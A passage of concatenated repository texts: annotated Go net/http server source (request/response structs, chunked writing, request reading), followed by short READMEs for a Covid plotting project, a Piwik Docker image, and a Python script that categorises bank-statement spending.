	TransferEncoding []string

	// Close indicates whether to close the connection after
	// replying to this request (for servers) or after sending this
	// request and reading its response (for clients).
	//
	// For server requests, the HTTP server handles this automatically
	// and this field is not needed by Handlers.
	//
	// For client requests, setting this field prevents re-use of
	// TCP connections between requests to the same hosts, as if
	// Transport.DisableKeepAlives were set.
	Close bool

	// For server requests Host specifies the host on which the URL
	// is sought. Per RFC 7230, section 5.4, this is either the value
	// of the "Host" header or the host name given in the URL itself.
	// It may be of the form "host:port". For international domain
	// names, Host may be in Punycode or Unicode form. Use
	// golang.org/x/net/idna to convert it to either format if
	// needed.
	//
	// For client requests Host optionally overrides the Host
	// header to send. If empty, the Request.Write method uses
	// the value of URL.Host. Host may contain an international
	// domain name.
	Host string

	// Form contains the parsed form data, including both the URL
	// field's query parameters and the POST or PUT form data.
	// This field is only available after ParseForm is called.
	// The HTTP client ignores Form and uses Body instead.
	Form url.Values

	// PostForm contains the parsed form data from POST, PATCH,
	// or PUT body parameters.
	//
	// This field is only available after ParseForm is called.
	// The HTTP client ignores PostForm and uses Body instead.
	PostForm url.Values

	// MultipartForm is the parsed multipart form, including file uploads.
	// This field is only available after ParseMultipartForm is called.
	// The HTTP client ignores MultipartForm and uses Body instead.
	MultipartForm *multipart.Form

	// Trailer specifies additional headers that are sent after the request
	// body.
	//
	// For server requests the Trailer map initially contains only the
	// trailer keys, with nil values. (The client declares which trailers it
	// will later send.)  While the handler is reading from Body, it must
	// not reference Trailer. After reading from Body returns EOF, Trailer
	// can be read again and will contain non-nil values, if they were sent
	// by the client.
	//
	// For client requests Trailer must be initialized to a map containing
	// the trailer keys to later send. The values may be nil or their final
	// values. The ContentLength must be 0 or -1, to send a chunked request.
	// After the HTTP request is sent the map values can be updated while
	// the request body is read. Once the body returns EOF, the caller must
	// not mutate Trailer.
	//
	// Few HTTP clients, servers, or proxies support HTTP trailers.
	Trailer Header

	// RemoteAddr allows HTTP servers and other software to record
	// the network address that sent the request, usually for
	// logging. This field is not filled in by ReadRequest and
	// has no defined format. The HTTP server in this package
	// sets RemoteAddr to an "IP:port" address before invoking a
	// handler.
	// This field is ignored by the HTTP client.
	RemoteAddr string

	// RequestURI is the unmodified request-target of the
	// Request-Line (RFC 7230, Section 3.1.1) as sent by the client
	// to a server. Usually the URL field should be used instead.
	// It is an error to set this field in an HTTP client request.
	RequestURI string

	// TLS allows HTTP servers and other software to record
	// information about the TLS connection on which the request
	// was received. This field is not filled in by ReadRequest.
	// The HTTP server in this package sets the field for
	// TLS-enabled connections before invoking a handler;
	// otherwise it leaves the field nil.
	// This field is ignored by the HTTP client.
	TLS *tls.ConnectionState

	// Cancel is an optional channel whose closure indicates that the client
	// request should be regarded as canceled. Not all implementations of
	// RoundTripper may support Cancel.
	//
	// For server requests, this field is not applicable.
	//
	// Deprecated: Use the Context and WithContext methods
	// instead. If a Request's Cancel field and context are both
	// set, it is undefined whether Cancel is respected.
	Cancel <-chan struct{}

	// Response is the redirect response which caused this request
	// to be created. This field is only populated during client
	// redirects.
	Response *Response

	// ctx is either the client or server context. It should only
	// be modified via copying the whole Request using WithContext.
	// It is unexported to prevent people from using Context wrong
	// and mutating the contexts held by callers of the same request.
	ctx context.Context
}

type Response struct {
	Status     string // e.g. "200 OK"
	StatusCode int    // e.g. 200
	Proto      string // e.g. "HTTP/1.0"
	ProtoMajor int    // e.g. 1
	ProtoMinor int    // e.g. 0

	// Header maps header keys to values. If the response had multiple
	// headers with the same key, they may be concatenated, with comma
	// delimiters.  (RFC 7230, section 3.2.2 requires that multiple headers
	// be semantically equivalent to a comma-delimited sequence.) When
	// Header values are duplicated by other fields in this struct (e.g.,
	// ContentLength, TransferEncoding, Trailer), the field values are
	// authoritative.
	//
	// Keys in the map are canonicalized (see CanonicalHeaderKey).
	Header Header

	// Body represents the response body.
	//
	// The response body is streamed on demand as the Body field
	// is read. If the network connection fails or the server
	// terminates the response, Body.Read calls return an error.
	//
	// The http Client and Transport guarantee that Body is always
	// non-nil, even on responses without a body or responses with
	// a zero-length body. It is the caller's responsibility to
	// close Body. The default HTTP client's Transport may not
	// reuse HTTP/1.x "keep-alive" TCP connections if the Body is
	// not read to completion and closed.
	//
	// The Body is automatically dechunked if the server replied
	// with a "chunked" Transfer-Encoding.
	Body io.ReadCloser

	// ContentLength records the length of the associated content. The
	// value -1 indicates that the length is unknown. Unless Request.Method
	// is "HEAD", values >= 0 indicate that the given number of bytes may
	// be read from Body.
	ContentLength int64

	// Contains transfer encodings from outer-most to inner-most. Value is
	// nil, means that "identity" encoding is used.
	TransferEncoding []string

	// Close records whether the header directed that the connection be
	// closed after reading Body. The value is advice for clients: neither
	// ReadResponse nor Response.Write ever closes a connection.
	Close bool

	// Uncompressed reports whether the response was sent compressed but
	// was decompressed by the http package. When true, reading from
	// Body yields the uncompressed content instead of the compressed
	// content actually set from the server, ContentLength is set to -1,
	// and the "Content-Length" and "Content-Encoding" fields are deleted
	// from the responseHeader. To get the original response from
	// the server, set Transport.DisableCompression to true.
	Uncompressed bool

	// Trailer maps trailer keys to values in the same
	// format as Header.
	//
	// The Trailer initially contains only nil values, one for
	// each key specified in the server's "Trailer" header
	// value. Those values are not added to Header.
	//
	// Trailer must not be accessed concurrently with Read calls
	// on the Body.
	//
	// After Body.Read has returned io.EOF, Trailer will contain
	// any trailer values sent by the server.
	Trailer Header

	// Request is the request that was sent to obtain this Response.
	// Request's Body is nil (having already been consumed).
	// This is only populated for Client requests.
	Request *Request

	// TLS contains information about the TLS connection on which the
	// response was received. It is nil for unencrypted responses.
	// The pointer is shared between responses and should not be
	// modified.
	TLS *tls.ConnectionState
}
```

chunkWriter

```go
type chunkWriter struct {
	res *response

	// 正常情况下在 res.WriteHeader 函数中将 res.handlerHeader 克隆给 header，否则 header 为 nil
	header Header

	// wroteHeader 代表 header 是否已写入管道 (w.conn.buf)
	wroteHeader bool

	// 在 writeHeader 函数中设置，代表是否使用分块传输
	chunking bool
}

func (cw *chunkWriter) Write(p []byte) (n int, err error) {
	if !cw.wroteHeader {
		cw.writeHeader(p)
	}
	if cw.res.req.Method == "HEAD" {
		// Eat writes.
		return len(p), nil
	}
	if cw.chunking { // 分块传输
		_, err = fmt.Fprintf(cw.res.conn.bufw, "%x\r\n", len(p)) // chunk-size: Hex CRLF
		if err != nil {
			cw.res.conn.rwc.Close()
			return
		}
	}
	n, err = cw.res.conn.bufw.Write(p) // chunk-data
	if cw.chunking && err == nil {
		_, err = cw.res.conn.bufw.Write(crlf) // CRLF
	}
	if err != nil {
		cw.res.conn.rwc.Close()
	}
	return
}

func (cw *chunkWriter) close() {
	if !cw.wroteHeader {
		cw.writeHeader(nil)
	}
	if cw.chunking {
		bw := cw.res.conn.bufw
		bw.WriteString("0\r\n") // zero chunk to mark EOF
		if trailers := cw.res.finalTrailers(); trailers != nil {
			trailers.Write(bw)
		}
		bw.WriteString("\r\n")
	}
}

func (cw *chunkWriter) writeHeader(p []byte) {
	if cw.wroteHeader {
		return
	}
	cw.wroteHeader = true

	w := cw.res
	keepAlivesEnabled := w.conn.server.doKeepAlives()
	isHEAD := w.req.Method == "HEAD"

	// header is written out to w.conn.buf below. Depending on the
	// state of the handler, we either own the map or not. If we
	// don't own it, the exclude map is created lazily for
	// WriteSubset to remove headers. The setHeader struct holds
	// headers we need to add.
	header := cw.header
	owned := header != nil
	if !owned {
		header = w.handlerHeader
	}
	var excludeHeader map[string]bool // 要排除的 header
	delHeader := func(key string) { // delete
		if owned {
			header.Del(key)
			return
		}
		if _, ok := header[key]; !ok {
			return
		}
		if excludeHeader == nil {
			excludeHeader = make(map[string]bool)
		}
		excludeHeader[key] = true
	}
	var setHeader extraHeader
	// extraHeader is the set of headers sometimes added by chunkWriter.writeHeader
	// type extraHeader struct {
    //   contentType      string
    //   connection       string
    //   transferEncoding string
    //   date             []byte
    //   contentLength    []byte
    // }

	// Don't write out the fake "Trailer:foo" keys. See TrailerPrefix.
	// trailer example: https://golang.org/pkg/net/http/#example_ResponseWriter_trailers
	trailers := false
	for k := range cw.header {
		if strings.HasPrefix(k, TrailerPrefix) { // prefix "Trailer:"
			if excludeHeader == nil {
				excludeHeader = make(map[string]bool)
			}
			excludeHeader[k] = true
			trailers = true
		}
	}
	for _, v := range cw.header["Trailer"] {
		trailers = true
		foreachHeaderElement(v, cw.res.declareTrailer)
		// foreachHeaderElement 遍历 strings.Split(v, ",")
		// declareTrailer: "accept-encoding" => "Accept-Encoding"
	}

	te := header.get("Transfer-Encoding")
	hasTE := te != ""

	// 如果 handler 已经工作结束但是还未发送过 Content-Length 响应头，
	// 那我们需要在这设置，即使是 0. This helps HTTP/1.0 clients keep their "keep-alive" connections alive.
	// 例外: 304/204/1xx responses 没有 Content-Length，对于 Head 请求，handler 要么设置 Content-Length 为 0 要么不设置。
	// 除此之外, 如果设置了 Transfer-Encoding 则不发送 Content-Length, 因为两者本身并不兼容.
	if w.handlerDone.isSet() && !trailers && !hasTE && bodyAllowedForStatus(w.status) && header.get("Content-Length") == "" && (!isHEAD || len(p) > 0) {
		w.contentLength = int64(len(p))
		setHeader.contentLength = strconv.AppendInt(cw.res.clenBuf[:0], int64(len(p)), 10) // clenBuf is Buffers for Content-Length，AppendInt 返回 int64(len(p)) 的 string 形式
	}

	// If this was an HTTP/1.0 request with keep-alive and we sent a
	// Content-Length back, we can make this a keep-alive response ...
	if w.wants10KeepAlive && keepAlivesEnabled {
		sentLength := header.get("Content-Length") != ""
		if sentLength && header.get("Connection") == "keep-alive" {
			w.closeAfterReply = false
		}
	}

	// Check for an explicit (and valid) Content-Length header.
	hasCL := w.contentLength != -1

	if w.wants10KeepAlive && (isHEAD || hasCL || !bodyAllowedForStatus(w.status)) {
		_, connectionHeaderSet := header["Connection"]
		if !connectionHeaderSet {
			setHeader.connection = "keep-alive"
		}
	} else if !w.req.ProtoAtLeast(1, 1) || w.wantsClose {
		w.closeAfterReply = true
	}

	if header.get("Connection") == "close" || !keepAlivesEnabled {
		w.closeAfterReply = true
	}

	// If the client wanted a 100-continue but we never sent it to
	// them (or, more strictly: we never finished reading their
	// request body), don't reuse this connection because it's now
	// in an unknown state: we might be sending this response at
	// the same time the client is now sending its request body
	// after a timeout.  (Some HTTP clients send Expect:
	// 100-continue but knowing that some servers don't support
	// it, the clients set a timer and send the body later anyway)
	// If we haven't seen EOF, we can't skip over the unread body
	// because we don't know if the next bytes on the wire will be
	// the body-following-the-timer or the subsequent request.
	// See Issue 11549.
	if ecr, ok := w.req.Body.(*expectContinueReader); ok && !ecr.sawEOF {
		w.closeAfterReply = true
	}

	// Per RFC 2616, we should consume the request body before
	// replying, if the handler hasn't already done so. But we
	// don't want to do an unbounded amount of reading here for
	// DoS reasons, so we only try up to a threshold.
	// TODO(bradfitz): where does RFC 2616 say that? See Issue 15527
	// about HTTP/1.x Handlers concurrently reading and writing, like
	// HTTP/2 handlers can do. Maybe this code should be relaxed?
	if w.req.ContentLength != 0 && !w.closeAfterReply {
		var discard, tooBig bool

		switch bdy := w.req.Body.(type) {
		case *expectContinueReader:
			if bdy.resp.wroteContinue {
				discard = true
			}
		case *body:
			bdy.mu.Lock()
			switch {
			case bdy.closed:
				if !bdy.sawEOF {
					// Body was closed in handler with non-EOF error.
					w.closeAfterReply = true
				}
			case bdy.unreadDataSizeLocked() >= maxPostHandlerReadBytes:
				tooBig = true
			default:
				discard = true
			}
			bdy.mu.Unlock()
		default:
			discard = true
		}

		if discard {
			_, err := io.CopyN(ioutil.Discard, w.reqBody, maxPostHandlerReadBytes+1)
			switch err {
			case nil:
				// There must be even more data left over.
				tooBig = true
			case ErrBodyReadAfterClose:
				// Body was already consumed and closed.
			case io.EOF:
				// The remaining body was just consumed, close it.
				err = w.reqBody.Close()
				if err != nil {
					w.closeAfterReply = true
				}
			default:
				// Some other kind of error occurred, like a read timeout, or
				// corrupt chunked encoding. In any case, whatever remains
				// on the wire must not be parsed as another HTTP request.
				w.closeAfterReply = true
			}
		}

		if tooBig {
			w.requestTooLarge()
			delHeader("Connection")
			setHeader.connection = "close"
		}
	}

	code := w.status
	if bodyAllowedForStatus(code) {
		// If no content type, apply sniffing algorithm to body.
		_, haveType := header["Content-Type"]
		if !haveType && !hasTE && len(p) > 0 {
			if cto := header.get("X-Content-Type-Options"); strings.EqualFold("nosniff", cto) {
				// nosniff is an explicit directive not to guess a content-type.
				// Content-sniffing is no less susceptible to polyglot attacks via
				// hosted content when done on the server.
				setHeader.contentType = "application/octet-stream"
				w.conn.server.logf("http: WriteHeader called with X-Content-Type-Options:nosniff but no Content-Type")
			} else {
				setHeader.contentType = DetectContentType(p)
			}
		}
	} else {
		for _, k := range suppressedHeaders(code) {
			delHeader(k)
		}
	}

	if _, ok := header["Date"]; !ok {
		setHeader.date = appendTime(cw.res.dateBuf[:0], time.Now())
	}

	if hasCL && hasTE && te != "identity" {
		// TODO: return an error if WriteHeader gets a return parameter
		// For now just ignore the Content-Length.
		w.conn.server.logf("http: WriteHeader called with both Transfer-Encoding of %q and a Content-Length of %d",
			te, w.contentLength)
		delHeader("Content-Length")
		hasCL = false
	}

	if w.req.Method == "HEAD" || !bodyAllowedForStatus(code) {
		// do nothing
	} else if code == StatusNoContent {
		delHeader("Transfer-Encoding")
	} else if hasCL {
		delHeader("Transfer-Encoding")
	} else if w.req.ProtoAtLeast(1, 1) {
		// HTTP/1.1 or greater: Transfer-Encoding has been set to identity, and no
		// content-length has been provided. The connection must be closed after the
		// reply is written, and no chunking is to be done. This is the setup
		// recommended in the Server-Sent Events candidate recommendation 11,
		// section 8.
		if hasTE && te == "identity" {
			cw.chunking = false
			w.closeAfterReply = true
		} else {
			// HTTP/1.1 or greater: use chunked transfer encoding
			// to avoid closing the connection at EOF.
			cw.chunking = true
			setHeader.transferEncoding = "chunked"
			if hasTE && te == "chunked" {
				// We will send the chunked Transfer-Encoding header later.
				delHeader("Transfer-Encoding")
			}
		}
	} else {
		// HTTP version < 1.1: cannot do chunked transfer
		// encoding and we don't know the Content-Length so
		// signal EOF by closing connection.
		w.closeAfterReply = true
		delHeader("Transfer-Encoding") // in case already set
	}

	// Cannot use Content-Length with non-identity Transfer-Encoding.
	if cw.chunking {
		delHeader("Content-Length")
	}
	if !w.req.ProtoAtLeast(1, 0) {
		return
	}

	if w.closeAfterReply && (!keepAlivesEnabled || !hasToken(cw.header.get("Connection"), "close")) {
		delHeader("Connection")
		if w.req.ProtoAtLeast(1, 1) {
			setHeader.connection = "close"
		}
	}

	writeStatusLine(w.conn.bufw, w.req.ProtoAtLeast(1, 1), code, w.statusBuf[:])
	cw.header.WriteSubset(w.conn.bufw, excludeHeader)
	setHeader.Write(w.conn.bufw)
	w.conn.bufw.Write(crlf)
}
```

### 读

```go
func (c *conn) readRequest(ctx context.Context) (w *response, err error) {
	if c.hijacked() {
		return nil, ErrHijacked
	}

	var (
		wholeReqDeadline time.Time // or zero if none
		hdrDeadline      time.Time // or zero if none
	)
	t0 := time.Now()
	if d := c.server.readHeaderTimeout(); d != 0 {
		hdrDeadline = t0.Add(d)
	}
	if d := c.server.ReadTimeout; d != 0 {
		wholeReqDeadline = t0.Add(d)
	}
	c.rwc.SetReadDeadline(hdrDeadline)
	if d := c.server.WriteTimeout; d != 0 {
		defer func() {
			c.rwc.SetWriteDeadline(time.Now().Add(d))
		}()
	}

	c.r.setReadLimit(c.server.initialReadLimitSize())
	if c.lastMethod == "POST" {
		// RFC 7230 section 3 tolerance for old buggy clients.
		peek, _ := c.bufr.Peek(4) // ReadRequest will get err below
		c.bufr.Discard(numLeadingCRorLF(peek))
	}
	req, err := readRequest(c.bufr, keepHostHeader)
	if err != nil {
		if c.r.hitReadLimit() {
			return nil, errTooLarge
		}
		return nil, err
	}

	if !http1ServerSupportsRequest(req) {
		return nil, badRequestError("unsupported protocol version")
	}

	c.lastMethod = req.Method
	c.r.setInfiniteReadLimit()

	hosts, haveHost := req.Header["Host"]
	isH2Upgrade := req.isH2Upgrade()
	if req.ProtoAtLeast(1, 1) && (!haveHost || len(hosts) == 0) && !isH2Upgrade && req.Method != "CONNECT" {
		return nil, badRequestError("missing required Host header")
	}
	if len(hosts) > 1 {
		return nil, badRequestError("too many Host headers")
	}
	if len(hosts) == 1 && !httplex.ValidHostHeader(hosts[0]) {
		return nil, badRequestError("malformed Host header")
	}
	for k, vv := range req.Header {
		if !httplex.ValidHeaderFieldName(k) {
			return nil, badRequestError("invalid header name")
		}
		for _, v := range vv {
			if !httplex.ValidHeaderFieldValue(v) {
				return nil, badRequestError("invalid header value")
			}
		}
	}
	delete(req.Header, "Host")

	ctx, cancelCtx := context.WithCancel(ctx)
	req.ctx = ctx
	req.RemoteAddr = c.remoteAddr
	req.TLS = c.tlsState
	if body, ok := req.Body.(*body); ok {
		body.doEarlyClose = true
	}

	// Adjust the read deadline if necessary.
	if !hdrDeadline.Equal(wholeReqDeadline) {
		c.rwc.SetReadDeadline(wholeReqDeadline)
	}

	w = &response{
		conn:          c,
		cancelCtx:     cancelCtx,
		req:           req,
		reqBody:       req.Body,
		handlerHeader: make(Header),
		contentLength: -1,
		closeNotifyCh: make(chan bool, 1),

		// We populate these ahead of time so we're not
		// reading from req.Header after their Handler starts
		// and maybe mutates it (Issue 14940)
		wants10KeepAlive: req.wantsHttp10KeepAlive(),
		wantsClose:       req.wantsClose(),
	}
	if isH2Upgrade {
		w.closeAfterReply = true
	}
	w.cw.res = w
	w.w = newBufioWriterSize(&w.cw, bufferBeforeChunkingSize)
	return w, nil
}
```

### 写

```
// The Life Of A Write is like this:
//
// Handler starts. No header has been sent. The handler can either
// write a header, or just start writing. Writing before sending a header
// sends an implicitly empty 200 OK header.
//
// If the handler didn't declare a Content-Length up front, we either
// go into chunking mode or, if the handler finishes running before
// the chunking buffer size, we compute a Content-Length and send that
// in the header instead.
//
// Likewise, if the handler didn't set a Content-Type, we sniff that
// from the initial chunk of output.
//
// The Writers are wired together like:
//
// 1. *response (the ResponseWriter) ->
// 2. (*response).w, a *bufio.Writer of bufferBeforeChunkingSize bytes
// 3. chunkWriter.Writer (whose writeHeader finalizes Content-Length/Type)
//    and which writes the chunk headers, if needed.
// 4. conn.buf, a bufio.Writer of default (4kB) bytes, writing to ->
// 5. checkConnErrorWriter{c}, which notes any non-nil error on Write
//    and populates c.werr with it if so. but otherwise writes to:
// 6. the rwc, the net.Conn.
//
// TODO(bradfitz): short-circuit some of the buffering when the
// initial header contains both a Content-Type and Content-Length.
// Also short-circuit in (1) when the header's been sent and not in
// chunking mode, writing directly to (4) instead, if (2) has no
// buffered data. More generally, we could short-circuit from (1) to
// (3) even in chunking mode if the write size from (1) is over some
// threshold and nothing is in (2).  The answer might be mostly making
// bufferBeforeChunkingSize smaller and having bufio's fast-paths deal
// with this instead.
func (w *response) Write(data []byte) (n int, err error) {
	return w.write(len(data), data, "")
}
```

repository: fengyfei/wizard

repo_name: fengyfei/wizard


text:
Covid-Live

[![Open Source Love svg1](https://badges.frapsoft.com/os/v1/open-source.svg?v=103)](https://github.com/zatch3301/)
[![GitHub contributors](https://img.shields.io/github/contributors/zatch3301/covid-live-update.svg)](https://GitHub.com/zatch3301/covid-live-update/contributors/)
[![GitHub Issues](https://img.shields.io/github/issues/zatch3301/covid-live-update.svg)](https://github.com/zatch3301/covid-live-update/issues)
[![Contributions welcome](https://img.shields.io/badge/contributions-welcome-orange.svg)](https://github.com/zatch3301/covid-live-update/)
[![License](https://img.shields.io/badge/license-MIT-blue.svg)](https://opensource.org/licenses/MIT)

## Plotly plot using Covid19 live data API.

[![forthebadge made-with-python](http://ForTheBadge.com/images/badges/made-with-python.svg)](https://www.python.org/)

repository: ritamganguli/covid-live-update

repo_name: ritamganguli/covid-live-update


text:
# Piwik

In a docker-compose.yml:
```yml
version: '3'
services:
  piwik:
    image: quay.io/continuouspipe/piwik-php7.1-apache:latest
```

In a Dockerfile:
```Dockerfile
FROM quay.io/continuouspipe/piwik-php7.1-apache:latest
```

## How to build
```bash
docker-compose build piwik_php71_apache
docker-compose push piwik_php71_apache
```

## About

This is an image that installs [piwik](http://piwik.org) web analytics software.

### Environment variables

No additional environment variables over those of continuouspipe/php7.1-apache are supported, as piwik at this time does not support headless installations.


text:
# banking

The overview.py python script is meant to give you a visual overview of your monthly spendings throughout the years. They are splited into categories like: Groceries, Transport, Restaurant, Coffee, Bar and Miscellaneous.

## How to use it
This document will assume that you have previously installed __python3__ as well as __pip3__.
This program has been tested on a MacOS environment. Further test will be conducted on a Linux environment.
I am also assuming your current working directory is this repository.

### Edit the script
As of today, file names are hardcoded and this will eventually change in order to allow more flexibility. But until then, you will need to open the `overview.py` file and edit the following lines (line 17-18) to match your environement:

```python
csv_file = "/Users/Malcolm/Desktop/pcbanking.csv"
output_pdf = "/Users/Malcolm/Desktop/mytest.pdf"
```

`csv_file` will be the file used by the script to parse your expenses and render them. The file HAS TO be a .csv file format and the data HAS TO be organised as such "date,place,amount". The comma is used as separator.

`output_pdf` will be the PDF file which will contain all graphs you need in order to have an idea of your expenses each months.

### Install dependencies
The file `requirements.txt` contains all the dependencies you will need to install in order for this program to work. Conveniently you can execute the following `pip3 install -r requirements.txt` and the installation will be handled for you

### Launch
To finish, in order to launch the script simply execute it with:
```bash
./overview.py
```

## How does it work?
### Read the .csv file
Depending on your banking institution the .csv file can look differently. I used what Scotiabank Canada is providing to me.
Here is an example of a raw CSV file provided by the Scotiabank
```text
5/21/2018,"MARKETPLACE IGA # 16     VANCOUVER    BC ",-7.36
5/21/2018,"TIM HORTONS #0335        KAMLOOPS     BC ",-2.51
5/24/2018,"LOCAL GASTOWN            VANCOUVER    BC ",-22.17
5/24/2018,"MARKETPLACE IGA # 16     VANCOUVER    BC ",-19.93
5/24/2018,"Amazon *Marketplce CA    WWW.AMAZON.CAON ",-36.15
5/25/2018,"CAR2GO<PHONE_NUMBER> BC ",-4.35
5/25/2018,"CAR2GO<PHONE_NUMBER> BC ",-3.64
5/26/2018,"CDN TIRE STORE #00389    VANCOUVER    BC ",-23.05
5/27/2018,"COMPASS VENDING          BURNABY      BC ",-20.00
5/27/2018,"JJ BEAN ON MAIN          VANCOUVER    BC ",-2.52
5/28/2018,"CREDIT VOUCHER/RETURN CAR2GO<PHONE_NUMBER> BC ",3.64
```
You can see that the field separator is a comma, and the data order is like such: date, location, amount.
The spendings appear as negative values and the "incomes" as positive.

### Is there a header?
In order to run through all the data efficiently we need the csv file to have a header before we parse the data.
The header that has been implemented is: `date,place,amount`
```python
with open(csv_file, 'r') as file:
    data = file.readline()  # read the first line
    if re.search(header, data):  # if header is present then do not modify the csv file
        do_modify = False
    else:
        do_modify = True
 ```
 This piece of code will determine if the previously mentioned header is already present in the csv file. If not present then the code following this snippet will insert it on the first line of the document.

 ### Parsing the CSV
 After checking for the header the code proceeds to parse the csv file using Pandas:
 ``` python
 import pandas as pd

 all_spending_df = pd.read_csv(filepath_or_buffer=csv_file, sep=',')
 ```
We now have a dataframe with all the CSV data in it. The code will need to standardize those data by lowering all cases, removing all lines with positive amounts (incomes) since we're only interested in spendings, and convert the string dates into datetime format.
The data frame will then looks like such

```
  date      place                                     amount
0 2018-5-21,marketplace iga # 16     vancouver    bc ,-7.36
1 2018-5-21,tim hortons #0335        kamloops     bc ,-2.51
2 2018-5-24,local gastown            vancouver    bc ,-22.17
3 2018-5-24,marketplace iga # 16     vancouver    bc ,-19.93
4 2018-5-24,amazon *marketplce ca    www.amazon.caon ,-36.15
5 2018-5-25,car2go<PHONE_NUMBER> bc ,-4.35
6 2018-5-25,car2go<PHONE_NUMBER> bc ,-3.64
7 2018-5-26,cdn tire store #00389    vancouver    bc ,-23.05
8 2018-5-27,compass vending          burnaby      bc ,-20.00
9 2018-5-27,jj bean on main          vancouver    bc ,-2.52
...
```

### Organising the data
Now we need to organise the data into categories, so that the rendering makes more sense. In order to dispatch all spendings in the right category some key words are used in order to differenciate them all.

You will find the list of keyword at the begining of the script
```python
Groceries = ["iga", "save on foods", "nesters", "t&t", "kiki", "yig", "persia foods", "whole foods",
             "organic acres market", "danial market", "choices", "safeway"]

Transport = ["car2go", "evo car share", "avis", "rentals", "petrocan", "husky", "[^a-z]esso",
             "super save", "cab[^a-rt-z]",  "compass", "taxi", "shell", "poparide", "uber", "lyft", "amtrack", "boltbus"]

Restaurant = ["doordash", "skipthedishes", "restau", "a&w", "cuisine",
              "moxie's", "burger", "la belle patate", "pho", "pizza", "bestie",
              "kitchen", "thai", "el camino's", "grill", "ice cream", "japanese",
              "kaori izakaya", "taco", "mexican", "zipang provisions", "mr. steak", "poke", "sushi", "earls",
              "mcdonald's", "diner", "subway sandwiches", "falafel", "donair", "fish", "pizz", "poutine",
              "white spot", "vij's", "the capital", "cactus club", "cantina", "fork", "denny's", "mumbai local",
              "freshii", "captain's boil", "korean", "salade de fruits", "a & w", "ebisu", "mcdonald's", "cuchillo",
              "joe fortes", "the templeton", "freshii", "catering", "mary's", "meat & bread", "church's chicken",
              "rosemary rocksalt", "food", "deli", "red robin", "food", "snack", "banter room", "tap house"]

Coffee = ["cafe", "coffee", "tim hortons", "starbucks", "bean", "birds & the beets", "the mighty oak",
          "le marche st george", "caffe", "coco et olive", "buro", "blenz", "green horn", "bakery", "revolver",
          "cardero bottega", "the anchor eatery", "savary island pie", "pie", "red umbrella"]

Bar = ["brew", "beer", "pub[^a-z]", "steamworks", "distillery", "bar[^a-z]", "narrow lounge", "rumpus room",
       "five point", "score on davie", "tap & barrel", "the cambie", "colony", "alibi room", "local ",
       "per se social corner", "grapes & soda", "portland craft", "the new oxford", "keefer", "liquor", "wine", "tapshack"]
```

Those lists will grow in time as more places are visited.

If we look at the data frame earlier displayed. The first spending displays:
```
0 2018-5-21,marketplace iga # 16     vancouver    bc ,-7.36
```
After looking into the `place` field of the dataframe, we see `marketplace iga # 16     vancouver    bc `, looking at the lists above we can see that in the list `Groceries` we have the keyword `iga` The code will so put this expense in the Grocery dataframe `df_groc`.

The second line shows:
```
1 2018-5-21,tim hortons #0335        kamloops     bc ,-2.51
```
Which we can connect the `place` field to the key word `tim hortons` in the `Coffee` list.
And so on...

Each category will have its own dataframe. However, it is up to 3 times faster to populate dictionaries and then create a dataframe out of them, than creating empty dataframes and appending rows one after the other.
```python
dic_groc, dic_trans, dic_rest, dic_coffee, \
        dic_bar, dic_misc = {}, {}, {}, {}, {}, {}
g, t, r, c, b, m = [0]*6  # indexes
```

As an example for the *groceries* category: for each row we check via `is_row_in_category()` if the place mentioned is part of the list Groceries, just listed above. If yes, then let's create a new entry in the dictionary with the key being an index incrementing each time, and the value being the row we're currently looking at.
```python
for index, row in my_dataframe.iterrows():
        if is_row_in_category(row, Groceries):
            dic_groc[g] = row
            g = g+1
            continue
```

If the `place` field doesn't match with any keyword of any category then the spending will go into the misc category.

After parsing all the spendings, we will get 6 different dataframes for 6 categories (Groceries, Transport, Restaurant, Coffee, Bar and Misc) that we'll create the dataframes and store them store in a dictionary:

``` python
GROCERIES = 'groceries'
TRANSPORT = 'transport'
RESTAURANT = 'restaurant'
COFFEE = 'coffee'
BAR = 'bar'
MISC = 'misc'

df_groc = pd.DataFrame.from_dict(dic_groc, orient='index', columns=['date', 'place', 'amount'])
df_trans = pd.DataFrame.from_dict(dic_trans, orient='index', columns=['date', 'place', 'amount'])
...
df_misc = pd.DataFrame.from_dict(dic_misc, orient='index', columns=['date', 'place', 'amount'])

all_df = {
    GROCERIES: df_groc,
    TRANSPORT: df_trans,
    RESTAURANT: df_rest,
    COFFEE: df_coffee,
    BAR: df_bar,
    MISC: df_misc
}
```
Now we have a dictionnary of dataframe to work with
```python
data = organise_data_by_category(all_spending_df)
```
### Extract monthly spending by category
Now that we have everything well categorised, we want to know how much we spent per month per category.
```python
df_temp = pd.DataFrame(columns=['date', 'amount'])

max_year = all_spending_df['date'].max().year
min_year = all_spending_df['date'].min().year
min_month = all_spending_df['date'].min().month
max_month = all_spending_df['date'].max().month

# let's only do the math between the first and last spending day in the csv file.
for year in range(min_year, max_year + 1):
    if year == min_year:
        start_month = min_month
    else:
        start_month = 1

    if year == max_year:
        end_month = max_month
    else:
        end_month = 12

    # sum all spending from a whole month, each month of the year
    for month in range(start_month, end_month + 1):
        df_temp = df_temp.append({"date": "{}-{}".format(month, year),
                                 "amount": _df[spending].loc[(_df[spending].date.dt.month == month) &
                                                             (_df[spending].date.dt.year == year), 'amount'].sum()},
                                 ignore_index=True)
```
In order to avoid having padding 0s at the beggining and the end of the dataframe we had to take into account when was the first spending and when was the last. As an example:
* Your first spending is on November 12th 2016
* Your last spending is on February 26th 2018

Since we'll be looping on every month from Jan to Dec. We will get unecessary 0s from Jan 2016 to Oct 2016 as well as from March 2018 to Dec 2018. This can potentially make the rendering harder to read as we would not know if we didn't spend anything in that category for the said month because we saved money or because there was no data due to no credit card.

This snippet allows us to take this into consideration
```python
max_year = all_spending_df['date'].max().year
min_year = all_spending_df['date'].min().year
min_month = all_spending_df['date'].min().month
max_month = all_spending_df['date'].max().month

# let's only do the math between the first and last spending day in the csv file.
for year in range(min_year, max_year + 1):
if year == min_year:
        start_month = min_month
    else:
        start_month = 1

    if year == max_year:
        end_month = max_month
    else:
        end_month = 12
```

Now we can parse the dataframe and sum all expenses per month, each month every year
```python
for month in range(start_month, end_month + 1):
        df_temp = df_temp.append({"date": "{}-{}".format(month, year),
                                 "amount": _df[spending].loc[(_df[spending].date.dt.month == month) &
                                                             (_df[spending].date.dt.year == year), 'amount'].sum()},
                                 ignore_index=True)
```
Now we have a dataframe that contains a summary of all expenses per month for a specific category
```python
monthly_groceries = extract_monthly_spending(data, GROCERIES)
monthly_transport = extract_monthly_spending(data, TRANSPORT)
monthly_restaurant = extract_monthly_spending(data, RESTAURANT)
monthly_coffee = extract_monthly_spending(data, COFFEE)
